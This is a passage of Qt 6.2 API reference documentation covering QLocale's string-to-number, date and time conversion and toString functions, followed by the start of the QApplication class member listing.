 Parses the date string given in *string* and returns the date. The format of the date string is chosen according to the *format* parameter (see [dateFormat](qlocale#dateFormat)()).

 If the date could not be parsed, returns an invalid date.

 **See also** [dateFormat](qlocale#dateFormat)(), [toTime](qlocale#toTime)(), [toDateTime](qlocale#toDateTime)(), and [QDate::fromString](qdate#fromString)().

 ### 
[QDate](qdate) QLocale::toDate(const [QString](qstring) &*string*, const [QString](qstring) &*format*) const

 Parses the date string given in *string* and returns the date. See [QDate::fromString](qdate#fromString)() for information on the expressions that can be used with this function.

 This function searches month names and the names of the days of the week in the current locale.

 If the date could not be parsed, returns an invalid date.

 **See also** [dateFormat](qlocale#dateFormat)(), [toTime](qlocale#toTime)(), [toDateTime](qlocale#toDateTime)(), and [QDate::fromString](qdate#fromString)().

 ### 
`[since 5.14]` [QDate](qdate) QLocale::toDate(const [QString](qstring) &*string*, [QLocale::FormatType](qlocale#FormatType-enum) *format*, [QCalendar](qcalendar) *cal*) const

 This is an overloaded function.

 This function was introduced in Qt 5.14.

 ### 
`[since 5.14]` [QDate](qdate) QLocale::toDate(const [QString](qstring) &*string*, const [QString](qstring) &*format*, [QCalendar](qcalendar) *cal*) const

 This is an overloaded function.

 This function was introduced in Qt 5.14.

 ### 
[QDateTime](qdatetime) QLocale::toDateTime(const [QString](qstring) &*string*, [QLocale::FormatType](qlocale#FormatType-enum) *format* = LongFormat) const

 Parses the date/time string given in *string* and returns the time. The format of the date/time string is chosen according to the *format* parameter (see [dateTimeFormat](qlocale#dateTimeFormat)()).

 If the string could not be parsed, returns an invalid [QDateTime](qdatetime).

 **See also** [dateTimeFormat](qlocale#dateTimeFormat)(), [toTime](qlocale#toTime)(), [toDate](qlocale#toDate)(), and [QDateTime::fromString](qdatetime#fromString)().

 ### 
[QDateTime](qdatetime) QLocale::toDateTime(const [QString](qstring) &*string*, const [QString](qstring) &*format*) const

 Parses the date/time string given in *string* and returns the time. See [QDateTime::fromString](qdatetime#fromString)() for information on the expressions that can be used with this function.

  **Note:** The month and day names used must be given in the user's local language.

  If the string could not be parsed, returns an invalid [QDateTime](qdatetime). If the string can be parsed and represents an invalid date-time (e.g. in a gap skipped by a time-zone transition), an invalid [QDateTime](qdatetime) is returned, whose toMSecsSinceEpoch() represents a near-by date-time that is valid. Passing that to fromMSecsSinceEpoch() will produce a valid date-time that isn't faithfully represented by the string parsed.

 **See also** [dateTimeFormat](qlocale#dateTimeFormat)(), [toTime](qlocale#toTime)(), [toDate](qlocale#toDate)(), and [QDateTime::fromString](qdatetime#fromString)().

 ### 
`[since 5.14]` [QDateTime](qdatetime) QLocale::toDateTime(const [QString](qstring) &*string*, [QLocale::FormatType](qlocale#FormatType-enum) *format*, [QCalendar](qcalendar) *cal*) const

 This is an overloaded function.

 This function was introduced in Qt 5.14.

 ### 
`[since 5.14]` [QDateTime](qdatetime) QLocale::toDateTime(const [QString](qstring) &*string*, const [QString](qstring) &*format*, [QCalendar](qcalendar) *cal*) const

 This is an overloaded function.

 This function was introduced in Qt 5.14.

 ### 
double QLocale::toDouble(const [QString](qstring) &*s*, bool \**ok* = nullptr) const

 Returns the double represented by the localized string *s*.

 Returns an infinity if the conversion overflows or 0.0 if the conversion fails for any other reason (e.g. underflow).

 If *ok* is not `nullptr`, failure is reported by setting \**ok* to `false`, and success by setting \**ok* to `true`.

 This function does not fall back to the 'C' locale if the string cannot be interpreted in this locale.

 
```
bool ok;
double d;

QLocale c(QLocale::C);
d = c.toDouble("1234.56", &ok);  // ok == true,  d == 1234.56
d = c.toDouble("1,234.56", &ok); // ok == true,  d == 1234.56
d = c.toDouble("1234,56", &ok);  // ok == false, d == 0

QLocale german(QLocale::German);
d = german.toDouble("1234,56", &ok);  // ok == true,  d == 1234.56
d = german.toDouble("1.234,56", &ok); // ok == true,  d == 1234.56
d = german.toDouble("1234.56", &ok);  // ok == false, d == 0

d = german.toDouble("1.234", &ok);    // ok == true,  d == 1234.0
```
 Notice that the last conversion returns 1234.0, because '.' is the thousands group separator in the German locale.

 This function ignores leading and trailing whitespace.

 **See also** [toFloat](qlocale#toFloat)(), [toInt](qlocale#toInt)(), and [toString](qlocale#toString)().

 ### 
`[since 5.10]` double QLocale::toDouble([QStringView](qstringview) *s*, bool \**ok* = nullptr) const

 Returns the double represented by the localized string *s*.

 Returns an infinity if the conversion overflows or 0.0 if the conversion fails for any other reason (e.g. underflow).

 If *ok* is not `nullptr`, failure is reported by setting \**ok* to `false`, and success by setting \**ok* to `true`.

 Unlike [QString::toDouble](qstring#toDouble)(), this function does not fall back to the "C" locale if the string cannot be interpreted in this locale.

 
```
bool ok;
double d;

QLocale c(QLocale::C);
d = c.toDouble(u"1234.56", &ok);  // ok == true,  d == 1234.56
d = c.toDouble(u"1,234.56", &ok); // ok == true,  d == 1234.56
d = c.toDouble(u"1234,56", &ok);  // ok == false, d == 0

QLocale german(QLocale::German);
d = german.toDouble(u"1234,56", &ok);  // ok == true,  d == 1234.56
d = german.toDouble(u"1.234,56", &ok); // ok == true,  d == 1234.56
d = german.toDouble(u"1234.56", &ok);  // ok == false, d == 0

d = german.toDouble(u"1.234", &ok);    // ok == true,  d == 1234.0
```
 Notice that the last conversion returns 1234.0, because '.' is the thousands group separator in the German locale.

 This function ignores leading and trailing whitespace.

 This function was introduced in Qt 5.10.

 **See also** [toFloat](qlocale#toFloat)(), [toInt](qlocale#toInt)(), and [toString](qlocale#toString)().

 ### 
float QLocale::toFloat(const [QString](qstring) &*s*, bool \**ok* = nullptr) const

 Returns the float represented by the localized string *s*.

 Returns an infinity if the conversion overflows or 0.0 if the conversion fails for any other reason (e.g. underflow).

 If *ok* is not `nullptr`, failure is reported by setting \**ok* to `false`, and success by setting \**ok* to `true`.

 This function does not fall back to the 'C' locale if the string cannot be interpreted in this locale.

 This function ignores leading and trailing whitespace.

 **See also** [toDouble](qlocale#toDouble)(), [toInt](qlocale#toInt)(), and [toString](qlocale#toString)().

 ### 
`[since 5.10]` float QLocale::toFloat([QStringView](qstringview) *s*, bool \**ok* = nullptr) const

 Returns the float represented by the localized string *s*.

 Returns an infinity if the conversion overflows or 0.0 if the conversion fails for any other reason (e.g. underflow).

 If *ok* is not `nullptr`, failure is reported by setting \**ok* to `false`, and success by setting \**ok* to `true`.

 This function ignores leading and trailing whitespace.

 This function was introduced in Qt 5.10.

 **See also** [toDouble](qlocale#toDouble)(), [toInt](qlocale#toInt)(), and [toString](qlocale#toString)().

 ### 
int QLocale::toInt(const [QString](qstring) &*s*, bool \**ok* = nullptr) const

 Returns the int represented by the localized string *s*.

 If the conversion fails the function returns 0.

 If *ok* is not `nullptr`, failure is reported by setting \**ok* to `false`, and success by setting \**ok* to `true`.

 This function ignores leading and trailing whitespace.

 **See also** [toUInt](qlocale#toUInt)() and [toString](qlocale#toString)().

 ### 
`[since 5.10]` int QLocale::toInt([QStringView](qstringview) *s*, bool \**ok* = nullptr) const

 Returns the int represented by the localized string *s*.

 If the conversion fails, the function returns 0.

 If *ok* is not `nullptr`, failure is reported by setting \**ok* to `false`, and success by setting \**ok* to `true`.

 This function ignores leading and trailing whitespace.

 This function was introduced in Qt 5.10.

 **See also** [toUInt](qlocale#toUInt)() and [toString](qlocale#toString)().

 ### 
`[since 5.13]` long QLocale::toLong(const [QString](qstring) &*s*, bool \**ok* = nullptr) const

 Returns the long int represented by the localized string *s*.

 If the conversion fails the function returns 0.

 If *ok* is not `nullptr`, failure is reported by setting \**ok* to `false`, and success by setting \**ok* to `true`.

 This function ignores leading and trailing whitespace.

 This function was introduced in Qt 5.13.

 **See also** [toInt](qlocale#toInt)(), [toULong](qlocale#toULong)(), [toDouble](qlocale#toDouble)(), and [toString](qlocale#toString)().

 ### 
`[since 5.13]` long QLocale::toLong([QStringView](qstringview) *s*, bool \**ok* = nullptr) const

 Returns the long int represented by the localized string *s*.

 If the conversion fails the function returns 0.

 If *ok* is not `nullptr`, failure is reported by setting \**ok* to `false`, and success by setting \**ok* to `true`.

 This function ignores leading and trailing whitespace.

 This function was introduced in Qt 5.13.

 **See also** [toInt](qlocale#toInt)(), [toULong](qlocale#toULong)(), [toDouble](qlocale#toDouble)(), and [toString](qlocale#toString)().

 ### 
[qlonglong](qtglobal#qlonglong-typedef) QLocale::toLongLong(const [QString](qstring) &*s*, bool \**ok* = nullptr) const

 Returns the long long int represented by the localized string *s*.

 If the conversion fails the function returns 0.

 If *ok* is not `nullptr`, failure is reported by setting \**ok* to `false`, and success by setting \**ok* to `true`.

 This function ignores leading and trailing whitespace.

 **See also** [toInt](qlocale#toInt)(), [toULongLong](qlocale#toULongLong)(), [toDouble](qlocale#toDouble)(), and [toString](qlocale#toString)().

 ### 
`[since 5.10]` [qlonglong](qtglobal#qlonglong-typedef) QLocale::toLongLong([QStringView](qstringview) *s*, bool \**ok* = nullptr) const

 Returns the long long int represented by the localized string *s*.

 If the conversion fails, the function returns 0.

 If *ok* is not `nullptr`, failure is reported by setting \**ok* to `false`, and success by setting \**ok* to `true`.

 This function ignores leading and trailing whitespace.

 This function was introduced in Qt 5.10.

 **See also** [toInt](qlocale#toInt)(), [toULongLong](qlocale#toULongLong)(), [toDouble](qlocale#toDouble)(), and [toString](qlocale#toString)().

 ### 
[QString](qstring) QLocale::toLower(const [QString](qstring) &*str*) const

 Returns a lowercase copy of *str*.

 If Qt Core is using the ICU libraries, they will be used to perform the transformation according to the rules of the current locale. Otherwise the conversion may be done in a platform-dependent manner, with [QString::toLower](qstring#toLower)() as a generic fallback.

 **See also** [QString::toLower](qstring#toLower)().

 ### 
short QLocale::toShort(const [QString](qstring) &*s*, bool \**ok* = nullptr) const

 Returns the short int represented by the localized string *s*.

 If the conversion fails the function returns 0.

 If *ok* is not `nullptr`, failure is reported by setting \**ok* to `false`, and success by setting \**ok* to `true`.

 This function ignores leading and trailing whitespace.

 **See also** [toUShort](qlocale#toUShort)() and [toString](qlocale#toString)().

 ### 
`[since 5.10]` short QLocale::toShort([QStringView](qstringview) *s*, bool \**ok* = nullptr) const

 Returns the short int represented by the localized string *s*.

 If the conversion fails, the function returns 0.

 If *ok* is not `nullptr`, failure is reported by setting \**ok* to `false`, and success by setting \**ok* to `true`.

 This function ignores leading and trailing whitespace.

 This function was introduced in Qt 5.10.

 **See also** [toUShort](qlocale#toUShort)() and [toString](qlocale#toString)().

 ### 
[QString](qstring) QLocale::toString([qlonglong](qtglobal#qlonglong-typedef) *i*) const

 Returns a localized string representation of *i*.

 **See also** [toLongLong](qlocale#toLongLong)(), [numberOptions](qlocale#numberOptions)(), [zeroDigit](qlocale#zeroDigit)(), and [positiveSign](qlocale#positiveSign)().

 ### 
[QString](qstring) QLocale::toString([qulonglong](qtglobal#qulonglong-typedef) *i*) const

 This is an overloaded function.

 **See also** [toULongLong](qlocale#toULongLong)(), [numberOptions](qlocale#numberOptions)(), [zeroDigit](qlocale#zeroDigit)(), and [positiveSign](qlocale#positiveSign)().

 ### 
[QString](qstring) QLocale::toString(long *i*) const

 This is an overloaded function.

 **See also** [toLong](qlocale#toLong)().

 ### 
[QString](qstring) QLocale::toString([ulong](qtglobal#ulong-typedef) *i*) const

 This is an overloaded function.

 **See also** [toULong](qlocale#toULong)().

 ### 
[QString](qstring) QLocale::toString(short *i*) const

 This is an overloaded function.

 **See also** [toShort](qlocale#toShort)().

 ### 
[QString](qstring) QLocale::toString([ushort](qtglobal#ushort-typedef) *i*) const

 This is an overloaded function.

 **See also** [toUShort](qlocale#toUShort)().

 ### 
[QString](qstring) QLocale::toString(int *i*) const

 This is an overloaded function.

 **See also** [toInt](qlocale#toInt)().

 ### 
[QString](qstring) QLocale::toString([uint](qtglobal#uint-typedef) *i*) const

 This is an overloaded function.

 **See also** [toUInt](qlocale#toUInt)().

 ### 
[QString](qstring) QLocale::toString(double *f*, char *format* = 'g', int *precision* = 6) const

 This is an overloaded function.

 Returns a string representing the floating-point number *f*.

 The form of the representation is controlled by the *format* and *precision* parameters.

 The *format* defaults to `'g'`. It can be any of the following:

 

| Format | Meaning |
| --- | --- |
| `'e'` | format as [-]9.9e[+|-]999 |
| `'E'` | format as [-]9.9E[+|-]999 |
| `'f'` | format as [-]9.9 |
| `'g'` | use `'e'` or `'f'` format, whichever is more concise |
| `'G'` | use `'E'` or `'f'` format, whichever is more concise |

 For the `'e'`, `'E'`, and `'f'` formats, the *precision* represents the number of digits *after* the decimal point. For the `'g'` and `'G'` formats, the *precision* represents the maximum number of significant digits (trailing zeroes are omitted). The special *precision* value [QLocale::FloatingPointShortest](qlocale#FloatingPointPrecisionOption-enum) selects the shortest representation that, when read as a number, gets back the original floating-point value. Aside from that, any negative *precision* is ignored in favor of the default, 6.

 For the `'e'`, `'f'` and `'g'` formats, positive infinity is represented as "inf", negative infinity as "-inf" and floating-point NaN (not-a-number) values are represented as "nan". For the `'E'` and `'G'` formats, "INF" and "NAN" are used instead. This does not vary with locale.

 **See also** [toDouble](qlocale#toDouble)(), [numberOptions](qlocale#numberOptions)(), [exponential](qlocale#exponential)(), [decimalPoint](qlocale#decimalPoint)(), [zeroDigit](qlocale#zeroDigit)(), [positiveSign](qlocale#positiveSign)(), [percent](qlocale#percent)(), [toCurrencyString](qlocale#toCurrencyString)(), [formattedDataSize](qlocale#formattedDataSize)(), and [QLocale::FloatingPointPrecisionOption](qlocale#FloatingPointPrecisionOption-enum).

 ### 
[QString](qstring) QLocale::toString(float *f*, char *format* = 'g', int *precision* = 6) const

 This is an overloaded function.

 Returns a string representing the floating-point number *f*.

 The *format* and *precision* have the same meanings as described in [toString](qlocale#toString-8)(double, char, int).

 **See also** [toFloat](qlocale#toFloat)(), [toDouble](qlocale#toDouble)(), [numberOptions](qlocale#numberOptions)(), [exponential](qlocale#exponential)(), [decimalPoint](qlocale#decimalPoint)(), [zeroDigit](qlocale#zeroDigit)(), [positiveSign](qlocale#positiveSign)(), [percent](qlocale#percent)(), [toCurrencyString](qlocale#toCurrencyString)(), [formattedDataSize](qlocale#formattedDataSize)(), and [QLocale::FloatingPointPrecisionOption](qlocale#FloatingPointPrecisionOption-enum).

 ### 
[QString](qstring) QLocale::toString([QDate](qdate) *date*, const [QString](qstring) &*format*) const

 Returns a localized string representation of the given *date* in the specified *format*. If *format* is an empty string, an empty string is returned.

 **See also** [QDate::toString](qdate#toString)().

 ### 
[QString](qstring) QLocale::toString([QTime](qtime) *time*, const [QString](qstring) &*format*) const

 Returns a localized string representation of the given *time* according to the specified *format*. If *format* is an empty string, an empty string is returned.

 **See also** [QTime::toString](qtime#toString)().

 ### 
[QString](qstring) QLocale::toString(const [QDateTime](qdatetime) &*dateTime*, const [QString](qstring) &*format*) const

 Returns a localized string representation of the given *dateTime* according to the specified *format*. If *format* is an empty string, an empty string is returned.

 **See also** [QDateTime::toString](qdatetime#toString)(), [QDate::toString](qdate#toString)(), and [QTime::toString](qtime#toString)().

 ### 
`[since 5.10]` [QString](qstring) QLocale::toString([QDate](qdate) *date*, [QStringView](qstringview) *format*) const

 This is an overloaded function.

 This function was introduced in Qt 5.10.

 ### 
[QString](qstring) QLocale::toString([QTime](qtime) *time*, [QStringView](qstringview) *format*) const

 Returns a localized string representation of the given *time* according to the specified *format*. If *format* is an empty string, an empty string is returned.

 **See also** [QTime::toString](qtime#toString)().

 ### 
`[since 5.10]` [QString](qstring) QLocale::toString(const [QDateTime](qdatetime) &*dateTime*, [QStringView](qstringview) *format*) const

 This is an overloaded function.

 This function was introduced in Qt 5.10.

 ### 
[QString](qstring) QLocale::toString([QDate](qdate) *date*, [QLocale::FormatType](qlocale#FormatType-enum) *format* = LongFormat) const

 This is an overloaded function.

 ### 
[QString](qstring) QLocale::toString([QTime](qtime) *time*, [QLocale::FormatType](qlocale#FormatType-enum) *format* = LongFormat) const

 Returns a localized string representation of the given *time* in the specified *format* (see [timeFormat](qlocale#timeFormat)()).

 ### 
[QString](qstring) QLocale::toString(const [QDateTime](qdatetime) &*dateTime*, [QLocale::FormatType](qlocale#FormatType-enum) *format* = LongFormat) const

 This is an overloaded function.

 ### 
`[since 5.14]` [QString](qstring) QLocale::toString([QDate](qdate) *date*, [QStringView](qstringview) *format*, [QCalendar](qcalendar) *cal*) const

 Returns a localized string representation of the given *date* in the specified *format*, optionally for a specified calendar *cal*. If *format* is an empty string, an empty string is returned.

 This function was introduced in Qt 5.14.

 **See also** [QDate::toString](qdate#toString)().

 ### 
`[since 5.14]` [QString](qstring) QLocale::toString([QDate](qdate) *date*, [QLocale::FormatType](qlocale#FormatType-enum) *format*, [QCalendar](qcalendar) *cal*) const

 Returns a localized string representation of the given *date* according to the specified *format* (see [dateFormat](qlocale#dateFormat)()), optionally for a specified calendar *cal*.

  **Note:** Some locales may use formats that limit the range of years they can represent.

  This function was introduced in Qt 5.14.

 ### 
`[since 5.14]` [QString](qstring) QLocale::toString(const [QDateTime](qdatetime) &*dateTime*, [QLocale::FormatType](qlocale#FormatType-enum) *format*, [QCalendar](qcalendar) *cal*) const

 Returns a localized string representation of the given *dateTime* according to the specified *format* (see [dateTimeFormat](qlocale#dateTimeFormat)()), optionally for a specified calendar *cal*.

  **Note:** Some locales may use formats that limit the range of years they can represent.

  This function was introduced in Qt 5.14.

 ### 
`[since 5.14]` [QString](qstring) QLocale::toString(const [QDateTime](qdatetime) &*dateTime*, [QStringView](qstringview) *format*, [QCalendar](qcalendar) *cal*) const

 Returns a localized string representation of the given *dateTime* according to the specified *format*, optionally for a specified calendar *cal*. If *format* is an empty string, an empty string is returned.

 This function was introduced in Qt 5.14.

 **See also** [QDateTime::toString](qdatetime#toString)(), [QDate::toString](qdate#toString)(), and [QTime::toString](qtime#toString)().

 ### 
[QTime](qtime) QLocale::toTime(const [QString](qstring) &*string*, [QLocale::FormatType](qlocale#FormatType-enum) *format* = LongFormat) const

 Parses the time string given in *string* and returns the time. The format of the time string is chosen according to the *format* parameter (see [timeFormat](qlocale#timeFormat)()).

 If the time could not be parsed, returns an invalid time.

 **See also** [timeFormat](qlocale#timeFormat)(), [toDate](qlocale#toDate)(), [toDateTime](qlocale#toDateTime)(), and [QTime::fromString](qtime#fromString)().

 ### 
[QTime](qtime) QLocale::toTime(const [QString](qstring) &*string*, const [QString](qstring) &*format*) const

 Parses the time string given in *string* and returns the time. See [QTime::fromString](qtime#fromString)() for information on what is a valid format string.

 If the time could not be parsed, returns an invalid time.

 **See also** [timeFormat](qlocale#timeFormat)(), [toDate](qlocale#toDate)(), [toDateTime](qlocale#toDateTime)(), and [QTime::fromString](qtime#fromString)().

 ### 
[uint](qtglobal#uint-typedef) QLocale::toUInt(const [QString](qstring) &*s*, bool \**ok* = nullptr) const

 Returns the unsigned int represented by the localized string *s*.

 If the conversion fails the function returns 0.

 If *ok* is not `nullptr`, failure is reported by setting \**ok* to `false`, and success by setting \**ok* to `true`.

 This function ignores leading and trailing whitespace.

 **See also** [toInt](qlocale#toInt)() and [toString](qlocale#toString)().

 ### 
`[since 5.10]` [uint](qtglobal#uint-typedef) QLocale::toUInt([QStringView](qstringview) *s*, bool \**ok* = nullptr) const

 Returns the unsigned int represented by the localized string *s*.

 If the conversion fails, the function returns 0.

 If *ok* is not `nullptr`, failure is reported by setting \**ok* to `false`, and success by setting \**ok* to `true`.

 This function ignores leading and trailing whitespace.

 This function was introduced in Qt 5.10.

 **See also** [toInt](qlocale#toInt)() and [toString](qlocale#toString)().

 ### 
`[since 5.13]` [ulong](qtglobal#ulong-typedef) QLocale::toULong(const [QString](qstring) &*s*, bool \**ok* = nullptr) const

 Returns the unsigned long int represented by the localized string *s*.

 If the conversion fails the function returns 0.

 If *ok* is not `nullptr`, failure is reported by setting \**ok* to `false`, and success by setting \**ok* to `true`.

 This function ignores leading and trailing whitespace.

 This function was introduced in Qt 5.13.

 **See also** [toLong](qlocale#toLong)(), [toInt](qlocale#toInt)(), [toDouble](qlocale#toDouble)(), and [toString](qlocale#toString)().

 ### 
`[since 5.13]` [ulong](qtglobal#ulong-typedef) QLocale::toULong([QStringView](qstringview) *s*, bool \**ok* = nullptr) const

 Returns the unsigned long int represented by the localized string *s*.

 If the conversion fails the function returns 0.

 If *ok* is not `nullptr`, failure is reported by setting \**ok* to `false`, and success by setting \**ok* to `true`.

 This function ignores leading and trailing whitespace.

 This function was introduced in Qt 5.13.

 **See also** [toLong](qlocale#toLong)(), [toInt](qlocale#toInt)(), [toDouble](qlocale#toDouble)(), and [toString](qlocale#toString)().

 ### 
[qulonglong](qtglobal#qulonglong-typedef) QLocale::toULongLong(const [QString](qstring) &*s*, bool \**ok* = nullptr) const

 Returns the unsigned long long int represented by the localized string *s*.

 If the conversion fails the function returns 0.

 If *ok* is not `nullptr`, failure is reported by setting \**ok* to `false`, and success by setting \**ok* to `true`.

 This function ignores leading and trailing whitespace.

 **See also** [toLongLong](qlocale#toLongLong)(), [toInt](qlocale#toInt)(), [toDouble](qlocale#toDouble)(), and [toString](qlocale#toString)().

 ### 
`[since 5.10]` [qulonglong](qtglobal#qulonglong-typedef) QLocale::toULongLong([QStringView](qstringview) *s*, bool \**ok* = nullptr) const

 Returns the unsigned long long int represented by the localized string *s*.

 If the conversion fails, the function returns 0.

 If *ok* is not `nullptr`, failure is reported by setting \**ok* to `false`, and success by setting \**ok* to `true`.

 This function ignores leading and trailing whitespace.

 This function was introduced in Qt 5.10.

 **See also** [toLongLong](qlocale#toLongLong)(), [toInt](qlocale#toInt)(), [toDouble](qlocale#toDouble)(), and [toString](qlocale#toString)().

 ### 
[ushort](qtglobal#ushort-typedef) QLocale::toUShort(const [QString](qstring) &*s*, bool \**ok* = nullptr) const

 Returns the unsigned short int represented by the localized string *s*.

 If the conversion fails the function returns 0.

 If *ok* is not `nullptr`, failure is reported by setting \**ok* to `false`, and success by setting \**ok* to `true`.

 This function ignores leading and trailing whitespace.

 **See also** [toShort](qlocale#toShort)() and [toString](qlocale#toString)().

 ### 
`[since 5.10]` [ushort](qtglobal#ushort-typedef) QLocale::toUShort([QStringView](qstringview) *s*, bool \**ok* = nullptr) const

 Returns the unsigned short int represented by the localized string *s*.

 If the conversion fails, the function returns 0.

 If *ok* is not `nullptr`, failure is reported by setting \**ok* to `false`, and success by setting \**ok* to `true`.

 This function ignores leading and trailing whitespace.

 This function was introduced in Qt 5.10.

 **See also** [toShort](qlocale#toShort)() and [toString](qlocale#toString)().

 ### 
[QString](qstring) QLocale::toUpper(const [QString](qstring) &*str*) const

 Returns an uppercase copy of *str*.

 If Qt Core is using the ICU libraries, they will be used to perform the transformation according to the rules of the current locale. Otherwise the conversion may be done in a platform-dependent manner, with [QString::toUpper](qstring#toUpper)() as a generic fallback.

 **See also** [QString::toUpper](qstring#toUpper)().

 ### 
[QStringList](qstringlist) QLocale::uiLanguages() const

 Returns an ordered list of locale names for translation purposes in preference order (like "en-Latn-US", "en-US", "en").

 The return value represents locale names that the user expects to see the UI translation in.

 Most like you do not need to use this function directly, but just pass the [QLocale](qlocale) object to the [QTranslator::load](qtranslator#load)() function.

 The first item in the list is the most preferred one.

 **See also** [QTranslator](qtranslator) and [bcp47Name](qlocale#bcp47Name)().

 ### 
[QList](qlist)<[Qt::DayOfWeek](qt#DayOfWeek-enum)> QLocale::weekdays() const

 Returns a list of days that are considered weekdays according to the current locale.

 ### 
[QString](qstring) QLocale::zeroDigit() const

 Returns the zero digit character of this locale.

 **See also** [toString](qlocale#toString)().

  Related Non-Members
-------------------

 ### 
`[since 5.6]` size\_t qHash(const [QLocale](qlocale#QLocale) &*key*, size\_t *seed* = 0)

 Returns the hash value for *key*, using *seed* to seed the calculation.

 This function was introduced in Qt 5.6.

 ### 
bool operator!=(const [QLocale](qlocale#QLocale) &*lhs*, const [QLocale](qlocale#QLocale) &*rhs*)

 Returns `true` if the two [QLocale](qlocale) objects, *lhs* and *rhs*, differ; otherwise returns `false`.

  **Note:** The system locale is not equal to the [QLocale](qlocale) object constructed from its [language](qlocale#language)(), [script](qlocale#script)() and [territory](qlocale#territory)(), even if the two agree in all data fields. Nor are two locales with different number options equal.

  **See also** [operator==](qlocale#operator-eq-eq)() and [setNumberOptions](qlocale#setNumberOptions)().

 ### 
bool operator==(const [QLocale](qlocale#QLocale) &*lhs*, const [QLocale](qlocale#QLocale) &*rhs*)

 Returns `true` if the two [QLocale](qlocale) objects, *lhs* and *rhs*, are the same; otherwise returns `false`.

  **Note:** The system locale is not equal to the [QLocale](qlocale) object constructed from its [language](qlocale#language)(), [script](qlocale#script)() and [territory](qlocale#territory)(), even if the two agree in all data fields. Nor are two locales with different number options equal.

  **See also** [operator!=](qlocale#operator-not-eq)() and [setNumberOptions](qlocale#setNumberOptions)().

 

 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qlocale.html>

QApplication Class
==================

 The QApplication class manages the GUI application's control flow and main settings. [More...](#details)

 

|  |  |
| --- | --- |
|  Header: | #include <QApplication> |
|  CMake: |  find\_package(Qt6 COMPONENTS Widgets REQUIRED) target\_link\_libraries(mytarget PRIVATE Qt6::Widgets) |
|  qmake: |  QT += widgets |
|  Inherits: | [QGuiApplication](qguiapplication) |

 * [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qapplication-members.html)
* [Deprecated members](https://doc.qt.io/qt-6.2/qapplication-obsolete.html)

 Properties
----------

 

|  |  |
| --- | --- |
| * **[autoSipEnabled](qapplication#autoSipEnabled-prop)** : bool
* **[cursorFlashTime](qapplication#cursorFlashTime-prop)** : int
* **[doubleClickInterval](qapplication#doubleClickInterval-prop)** : int
* **[keyboardInputInterval](qapplication#keyboardInputInterval-prop)** : int
 | * **[startDragDistance](qapplication#startDragDistance-prop)** : int
* **[startDragTime](qapplication#startDragTime-prop)** : int
* **[styleSheet](qapplication#styleSheet-prop)** : QString
* **[wheelScrollLines](qapplication#wheelScrollLines-prop)** : int
 |

 Public Functions
----------------

 

|  |  |
| --- | --- |
|  | **[QApplication](qapplication#QApplication)**(int &*argc*, char \*\**argv*) |
|  virtual  | **[~QApplication](qapplication#dtor.QApplication)**() |
|  QString  | **[styleSheet](qapplication#styleSheet-prop)**() const |

 Reimplemented Public Functions
------------------------------

 

|  |  |
| --- | --- |
|  virtual bool  | **[notify](qapplication#notify)**(QObject \**receiver*, QEvent \**e*) override |

 Public Slots
------------

 

|  |  |
| --- | --- |
|  void  | **[aboutQt](qapplication#aboutQt)**() |
|  bool  | **[autoSipEnabled](qapplication#autoSipEnabled-prop)**() const |
|  void  | **[closeAllWindows](qapplication#closeAllWindows)**() |
|  void  | **[setAutoSipEnabled](qapplication#autoSipEnabled-prop)**(const bool *enabled*) |
|  void  | **[setStyleSheet](qapplication#styleSheet-prop)**(const QString &*sheet*) |

 Signals
-------

 

|  |  |
| --- | --- |
|  void  | **[focusChanged](qapplication#focusChanged)**(QWidget \**old*, QWidget \**now*) |

 Static Public Members
---------------------

 

|  |  |
| --- | --- |
|  QWidget \* | **[activeModalWidget](qapplication#activeModalWidget)**() |
|  QWidget \* | **[activePopupWidget](qapplication#activePopupWidget)**() |
|  QWidget \* | **[activeWindow](qapplication#activeWindow)**() |
|  void  | **[alert](qapplication#alert)**(QWidget \**widget*, int *msec* = 0) |
|  QWidgetList  | **[allWidgets](qapplication#allWidgets)**() |
|  void  | **[beep](qapplication#beep)**() |
|  int  | **[cursorFlashTime](qapplication#cursorFlashTime-prop)**() |
|  int  | **[doubleClickInterval](qapplication#doubleClickInterval-prop)**() |
|  int  | **[exec](qapplication#exec)**() |
|  QWidget \* | **[focusWidget](qapplication#focusWidget)**() |
|  QFont  | **[font](qapplication#font)**() |
|  QFont  | **[font](qapplication#font-1)**(const QWidget \**widget*) |
|  QFont  | **[font](qapplication#font-2)**(const char \**className*) |
|  bool  | **[isEffectEnabled](qapplication#isEffectEnabled)**(Qt::UIEffect *effect*) |
|  int  | **[keyboardInputInterval](qapplication#keyboardInputInterval-prop)**() |
|  Qt::NavigationMode  | **[navigationMode](qapplication#navigationMode)**() |
|  QPalette  | **[palette](qapplication#palette)**(const QWidget \**widget*) |
|  QPalette  | **[palette](qapplication#palette-1)**(const char \**className*) |
|  void  | **[setActiveWindow](qapplication#setActiveWindow)**(QWidget \**active*) |
|  void  | **[setCursorFlashTime](qapplication#cursorFlashTime-prop)**(int) |
|  void  | **[setDoubleClickInterval](qapplication#doubleClickInterval-prop)**(int) |
|  void  | **[setEffectEnabled](qapplication#setEffectEnabled)**(Qt::UIEffect *effect*, bool *enable* = true) |
|  void  | **[setFont](qapplication#setFont)**(const QFont &*font*, const char \**className* = nullptr) |
|  void  | **[setKeyboardInputInterval](qapplication#keyboardInputInterval-prop)**(int) |
|  void  | **[setNavigationMode](qapplication#setNavigationMode)**(Qt::NavigationMode *mode*) |
|  void  | **[setPalette](qapplication#setPalette)**(const QPalette &*palette*, const char \**className* = nullptr) |
|  void  | **[setStartDragDistance](qapplication#startDragDistance-prop)**(int *l*) |
|  void  | **[setStartDragTime](qapplication#startDragTime-prop)**(int *ms*) |
|  void  | **[setStyle](qapplication#setStyle)**(QStyle \**style*) |
|  QStyle \* | **[setStyle](qapplication#setStyle-1)**(const QString &*style*) |
|  void  | **[setWheelScrollLines](qapplication#wheelScrollLines-prop)**(int) |
|  int  | **[startDragDistance](qapplication#startDragDistance-prop)**() |
|  int  | **[startDragTime](qapplication#startDragTime-prop)**() |
|  QStyle \* | **[style](qapplication#style)**() |
|  QWidget \* | **[topLevelAt](qapplication#topLevelAt)**(const QPoint &*point*) |
|  QWidget \* | **[topLevelAt](qapplication#topLevelAt-1)**(int *x*, int *y*) |
|  QWidgetList  | **[topLevelWidgets](qapplication#topLevelWidgets)**() |
|  int  | **[wheelScrollLines](qapplication#wheelScrollLines-prop)**() |
|  QWidget \* | **[widgetAt](qapplication#widgetAt)**(const QPoint &*point*) |
